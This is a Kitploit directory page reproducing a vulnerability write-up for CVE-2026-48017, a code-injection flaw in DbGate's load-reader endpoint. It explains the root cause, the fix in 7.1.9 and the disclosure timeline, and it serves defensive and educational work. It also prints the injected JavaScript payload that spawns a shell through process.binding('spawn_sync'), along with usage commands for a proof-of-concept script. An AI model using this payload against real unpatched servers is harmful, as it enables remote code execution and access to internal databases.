Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48017 — Remote Code Execution in DbGate via functionName injection in the loadReader endpoint — CVSS 8.8 | Kitploit
Tools/GitHubGitHub/romain-deperne/cve-2026-48017
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubromain-deperne/cve-2026-48017

CVE-2026-48017

Remote Code Execution in DbGate via functionName injection in the loadReader endpoint — CVSS 8.8

View Repository
53 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-48017 — Remote Code Execution in DbGate via functionName injection

Severity: High (CVSS 8.8) CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection') Affected: dbgate-api ≤ 7.1.8 (patched in 7.1.9) Advisory: GHSA-hv83-ggc4-v385 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017 Credit: Romain Deperne

TL;DR

The POST /runners/load-reader endpoint takes a functionName parameter and interpolates it directly into a JavaScript template string that is then executed in a forked process — with no sanitization or validation. Any authenticated user (no special permission needed) can break out of the intended call and run arbitrary JavaScript, achieving remote code execution on the server.

The forked runner sets require = null as a sandbox, but that is trivially bypassed: is still reachable and spawns a real OS process.

process.binding("spawn_sync")

How I found this

I was auditing DbGate's runner subsystem for the gap between guarded and unguarded code-exec paths. The start() runner at runners.js:292 is properly gated — it calls testStandardPermission('run-shell-script') and checks platformInfo.allowShellScripting.

loadReader() does the conceptually-similar thing (it builds and runs a JS loader script) but has none of those checks. I traced the data flow:

root@kitploit:~
runners.js:353  loadReader({ functionName, props })
runners.js:366  loaderScriptTemplate(prefix, functionName, ...)
runners.js:64   `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33  return `dbgateApi.${functionName}`   // ← no sanitization

functionName is attacker-controlled and lands inside an executed template string. The dbgateApi. prefix is the only thing in front of it, and it is escapable: closing the expression with toString();, injecting the payload, and commenting out the trailing (${props}) with // yields valid JS.

Affected component

File: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate) File: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)

root@kitploit:~
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;

// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`

Generated (injected) script:

root@kitploit:~
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});

Root cause

compileShellApiFunctionName() was written to turn a short name into a fully-qualified API path (dbgateApi.<name>), implicitly trusting functionName to be an identifier. The value, however, comes straight from the HTTP request body. Because it is concatenated into source that is later eval/forked, the trust assumption is an RCE. The require = null sandbox does not help — Node's internal process.binding("spawn_sync") bypasses it.

Fix (7.1.9): validate functionName against a strict identifier allow-list before compiling it into the loader script.

Proof of Concept

poc/rce_loadreader_functionname_injection.py — drives the real endpoint end-to-end.

root@kitploit:~
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'

# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'

The script builds the functionName payload, sends it to POST /runners/load-reader, and the injected spawn_sync call executes the command in the forked runner process.

Disclosure timeline

  • Reported privately to the maintainer via GitHub Security Advisory
  • Fixed in DbGate 7.1.9
  • Advisory GHSA-hv83-ggc4-v385 published 2026-05-22; CVE-2026-48017 assigned

Impact

Authenticated RCE on the DbGate API host. DbGate is a database management GUI frequently deployed with broad network reach to internal databases — code execution on it is a strong pivot into the data tier.


Disclosed responsibly. PoC published after the fix shipped, for defenders and detection engineering.

Download Tool